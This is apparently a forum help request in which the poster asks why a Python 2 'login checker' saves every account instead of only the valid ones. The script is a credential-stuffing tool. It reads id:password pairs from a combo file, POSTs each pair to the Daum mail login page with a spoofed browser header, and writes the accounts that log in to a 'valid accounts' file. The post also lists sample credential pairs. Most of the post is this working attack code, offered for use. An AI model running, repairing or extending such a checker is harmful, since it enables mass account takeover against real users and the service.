hi
im making some website login checker.
all thing is almost no problem except resulted save function.
here is sample login id and password for test.
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
to test this source in python,need to make some text file "daum.txt" and insert
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
this two account in there.
i want to save only alive account but current source code can't function correctly,
all checking account saved.
thanks in advance
# -*- coding: 949 -*-
import sys, poplib, os
import httplib,urllib,sys
SAVEFILE = 'valid_accounts.txt'
maillist = "daum.txt"
valid = []
currline = 0
try:
handle = open(maillist)
except:
exit(1)
for line in handle:
currline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
exit(1)
try:
params = urllib.urlencode({'id':email,'pw':password})
headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15",
"Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
"Accept-Language": "en-us,en;q=0.5",
"Accept-Encoding": "gzip,deflate",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7"}
conn = httplib.HTTPConnection("login.daum.net:80")
conn.request("POST","/Mail-bin/login.cgi?dummy=1215318486921",params,headers)
response = conn.getresponse()
data = response.read()
valid.append(email + ':' + password)
logged_in = 'The document has moved' in data
if logged_in:
print '[+] Checking: %s <%s> -> Valid!' % (email, password)
save = open(SAVEFILE, 'a')
#valid.append(email + ':' + password)
for email in valid:
save.write(email + '\n')
save.close()
#quit()
#handle.close()
#exit(1)
#pass
#currline += 1
else:
print 'bad account!'
except:
print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
pass
#exit(1)
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'